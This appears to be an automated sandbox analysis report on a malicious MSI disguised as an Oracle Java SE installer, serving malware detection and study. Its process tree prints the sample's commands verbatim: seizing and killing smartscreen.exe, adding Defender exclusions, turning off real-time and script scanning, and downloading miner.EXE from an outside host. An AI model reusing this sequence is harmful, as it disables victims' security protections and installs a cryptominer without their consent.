Analysis

  • max time kernel
    4s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    09/08/2021, 08:26

General

  • Target
    110fc287b499bea670dc2060d8a828727f350e9be446879ecfc7f71732ee15ed.msi
  • Size 3.9MB
  • Sample210809-aeh4apdh4e
  • SHA256 110fc287b499bea670dc2060d8a828727f350e9be446879ecfc7f71732ee15ed
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 14 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\110fc287b499bea670dc2060d8a828727f350e9be446879ecfc7f71732ee15ed.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3944
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3816
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D6C15C424C74C4127B9702CE93D099BB
      2⤵
      • Loads dropped DLL
      PID:4024
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BB0B38EF98AD2FFABCC40AD60C0AE6C4 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3200
      • C:\Windows\syswow64\cmd.exe
        "cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f "C:\Windows\System32\smartscreen.exe" /a
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1052
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /reset
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3000
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im smartscreen.exe /f
          4⤵
          • Kills process with taskkill
          PID:3904
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3788
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming'"
          4⤵
            PID:204
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
            4⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2064
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
            4⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2696
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:688
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -MAPSReporting 0"
              5⤵
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:1296
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Set-MpPreference -PUAProtection disable"
            4⤵
              PID:4196
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
              4⤵
                PID:4236
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
                4⤵
                  PID:2304
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
                  4⤵
                    PID:1368
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
                    4⤵
                      PID:4484
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
                      4⤵
                        PID:4516
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
                        4⤵
                          PID:3788
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
                          4⤵
                            PID:4716
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
                            4⤵
                              PID:4860
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
                              4⤵
                                PID:4952
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
                                4⤵
                                  PID:5012
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
                                  4⤵
                                    PID:3904
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
                                    4⤵
                                      PID:5112
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
                                      4⤵
                                        PID:4228
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
                                        4⤵
                                          PID:4372
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
                                          4⤵
                                            PID:4808
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
                                            4⤵
                                              PID:4852
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Invoke-WebRequest https://qmumdjffuiocstjfmdqt.com/miner.EXE -OutFile miner.EXE
                                              4⤵
                                                PID:2144

                                        Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

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                                              Downloads

                                              memory/204-175-0x0000000004D10000-0x0000000004D11000-memory.dmp

                                              memory/204-184-0x0000000004D12000-0x0000000004D13000-memory.dmp

                                              memory/204-295-0x0000000004D13000-0x0000000004D14000-memory.dmp

                                              memory/204-252-0x000000007E9C0000-0x000000007E9C1000-memory.dmp

                                              memory/1296-247-0x000000007F370000-0x000000007F371000-memory.dmp

                                              memory/1296-189-0x00000000086A0000-0x00000000086A1000-memory.dmp

                                              memory/1296-168-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

                                              memory/1296-161-0x0000000007210000-0x0000000007211000-memory.dmp

                                              memory/1296-185-0x00000000081D0000-0x00000000081D1000-memory.dmp

                                              memory/1296-181-0x0000000006F52000-0x0000000006F53000-memory.dmp

                                              memory/1296-177-0x0000000006F50000-0x0000000006F51000-memory.dmp

                                              memory/1296-153-0x0000000004D20000-0x0000000004D21000-memory.dmp

                                              memory/1296-291-0x0000000006F53000-0x0000000006F54000-memory.dmp

                                              memory/1296-164-0x00000000073B0000-0x00000000073B1000-memory.dmp

                                              memory/1296-166-0x0000000007520000-0x0000000007521000-memory.dmp

                                              memory/1368-1203-0x00000000072A0000-0x00000000072A1000-memory.dmp

                                              memory/1368-1216-0x00000000072A2000-0x00000000072A3000-memory.dmp

                                              memory/1368-1645-0x000000007F9B0000-0x000000007F9B1000-memory.dmp

                                              memory/2064-242-0x000000007F910000-0x000000007F911000-memory.dmp

                                              memory/2064-179-0x0000000004B30000-0x0000000004B31000-memory.dmp

                                              memory/2064-300-0x0000000004B33000-0x0000000004B34000-memory.dmp

                                              memory/2064-182-0x0000000004B32000-0x0000000004B33000-memory.dmp

                                              memory/2064-157-0x0000000007240000-0x0000000007241000-memory.dmp

                                              memory/2064-193-0x0000000008200000-0x0000000008201000-memory.dmp

                                              memory/2144-1530-0x0000000004972000-0x0000000004973000-memory.dmp

                                              memory/2144-1521-0x0000000004970000-0x0000000004971000-memory.dmp

                                              memory/2304-1607-0x000000007F0D0000-0x000000007F0D1000-memory.dmp

                                              memory/2304-1199-0x00000000043C2000-0x00000000043C3000-memory.dmp

                                              memory/2304-1196-0x00000000043C0000-0x00000000043C1000-memory.dmp

                                              memory/2696-224-0x0000000008FF0000-0x0000000009023000-memory.dmp

                                              memory/2696-237-0x000000007E990000-0x000000007E991000-memory.dmp

                                              memory/2696-183-0x0000000004712000-0x0000000004713000-memory.dmp

                                              memory/2696-293-0x0000000004713000-0x0000000004714000-memory.dmp

                                              memory/2696-180-0x0000000004710000-0x0000000004711000-memory.dmp

                                              memory/3788-1250-0x0000000006852000-0x0000000006853000-memory.dmp

                                              memory/3788-1796-0x000000007ECA0000-0x000000007ECA1000-memory.dmp

                                              memory/3788-1242-0x0000000006850000-0x0000000006851000-memory.dmp

                                              memory/3904-1332-0x00000000048B2000-0x00000000048B3000-memory.dmp

                                              memory/3904-2244-0x000000007E7C0000-0x000000007E7C1000-memory.dmp

                                              memory/3904-1322-0x00000000048B0000-0x00000000048B1000-memory.dmp

                                              memory/4196-1183-0x0000000004A00000-0x0000000004A01000-memory.dmp

                                              memory/4196-1477-0x000000007F030000-0x000000007F031000-memory.dmp

                                              memory/4196-1184-0x0000000004A02000-0x0000000004A03000-memory.dmp

                                              memory/4228-1338-0x0000000004D52000-0x0000000004D53000-memory.dmp

                                              memory/4228-1329-0x0000000004D50000-0x0000000004D51000-memory.dmp

                                              memory/4236-1538-0x000000007EEF0000-0x000000007EEF1000-memory.dmp

                                              memory/4236-1187-0x0000000007470000-0x0000000007471000-memory.dmp

                                              memory/4236-1189-0x0000000007472000-0x0000000007473000-memory.dmp

                                              memory/4372-1372-0x00000000051B0000-0x00000000051B1000-memory.dmp

                                              memory/4372-1378-0x00000000051B2000-0x00000000051B3000-memory.dmp

                                              memory/4484-1195-0x00000000067C2000-0x00000000067C3000-memory.dmp

                                              memory/4484-1191-0x00000000067C0000-0x00000000067C1000-memory.dmp

                                              memory/4484-1691-0x000000007EE10000-0x000000007EE11000-memory.dmp

                                              memory/4516-1207-0x0000000006710000-0x0000000006711000-memory.dmp

                                              memory/4516-1213-0x0000000006712000-0x0000000006713000-memory.dmp

                                              memory/4516-1784-0x000000007E890000-0x000000007E891000-memory.dmp

                                              memory/4716-2041-0x000000007F840000-0x000000007F841000-memory.dmp

                                              memory/4716-1255-0x00000000069F0000-0x00000000069F1000-memory.dmp

                                              memory/4716-1260-0x00000000069F2000-0x00000000069F3000-memory.dmp

                                              memory/4808-1427-0x0000000004372000-0x0000000004373000-memory.dmp

                                              memory/4808-1413-0x0000000004370000-0x0000000004371000-memory.dmp

                                              memory/4852-1435-0x0000000004752000-0x0000000004753000-memory.dmp

                                              memory/4852-1420-0x0000000004750000-0x0000000004751000-memory.dmp

                                              memory/4860-1247-0x0000000007032000-0x0000000007033000-memory.dmp

                                              memory/4860-2055-0x000000007E6B0000-0x000000007E6B1000-memory.dmp

                                              memory/4860-1264-0x0000000007030000-0x0000000007031000-memory.dmp

                                              memory/4952-2070-0x000000007E9A0000-0x000000007E9A1000-memory.dmp

                                              memory/4952-1254-0x00000000073B2000-0x00000000073B3000-memory.dmp

                                              memory/4952-1252-0x00000000073B0000-0x00000000073B1000-memory.dmp

                                              memory/5012-2174-0x000000007EC70000-0x000000007EC71000-memory.dmp

                                              memory/5012-1285-0x0000000006840000-0x0000000006841000-memory.dmp

                                              memory/5012-1293-0x0000000006842000-0x0000000006843000-memory.dmp

                                              memory/5112-1289-0x0000000004E80000-0x0000000004E81000-memory.dmp

                                              memory/5112-1298-0x0000000004E82000-0x0000000004E83000-memory.dmp